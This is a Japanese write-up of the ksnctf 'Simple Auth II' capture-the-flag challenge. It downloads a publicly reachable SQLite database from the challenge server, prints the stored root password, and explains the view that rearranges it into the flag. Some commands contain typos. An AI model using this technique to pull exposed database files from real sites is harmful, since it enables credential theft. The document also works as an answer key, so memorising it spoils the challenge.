ksnctfにチャレンジ 第35問目です。
※ksnctfは常駐型のCTFサイトです。 ※問題のページはコチラです。
Simple Auth II
まず配布されている source を見てみると
$db = new PDO('sqlite:database.db');
$s = $db->prepare('SELECT * FROM user WHERE id=? AND password=?');
$s->execute(array($_POST['id'], $_POST['password']));
$ok = $s->fetch() !== false;
ここが認証部分です。 問題は1行目です。PDOは PHP DATA OBJECT のことで 各種データベースへのアクセスを抽象化して簡単に扱うことができるクラスです。
ここで sqlite の dbファイルが直接読み込まれています。
よって以下のように直接データベースを取得できます。
$wget ctfq.sweetduet.info:10080/~q35/database.db
$file ./database
./database.db: SQLite 3.x database
fileコマンドで確認すると SQlite3のdbファイルだとわかります。
ここまでくればほぼ完了で 素直に sqlite3 を使ってこのデータベースを閲覧してみると
$ splite3 database.db
splite> .table
user user2
sqlite> .dump user1
CREATE VIEW user AS SELECT id, SUBSTR(password, 6,1)||SUBSTR(password, 2,1)||SUBSTR(password,13,1)||SUBSTR(password, 1,1)||SUBSTR(password,17,1)||SUBSTR(password, 8,1)||SUBSTR(password,15,1)||SUBSTR(password,19,1)||SUBSTR(password, 3,1)||SUBSTR(password, 4,1)||SUBSTR(password,12,1)||SUBSTR(password,21,1)||SUBSTR(password, 5,1)||SUBSTR(password,11,1)||SUBSTR(password,16,1)||SUBSTR(password, 7,1)||SUBSTR(password,10,1)||SUBSTR(password,18,1)||SUBSTR(password, 9,1)||SUBSTR(password,14,1)||SUBSTR(password,20,1) AS password FROM user2;
sqlite> .dump user2
INSERT INTO "user2" VALUES('root','GLDmNFJimveAAxyg_wSNp');
などで調べると user2 に記録されている password文字列を user1 に記録されている手順で並び替えればFLAGになります。
ちなみに SQLの SUBSTR は文字の先頭から 何文字目かで指定するので 第二引数に 0 が登場していません。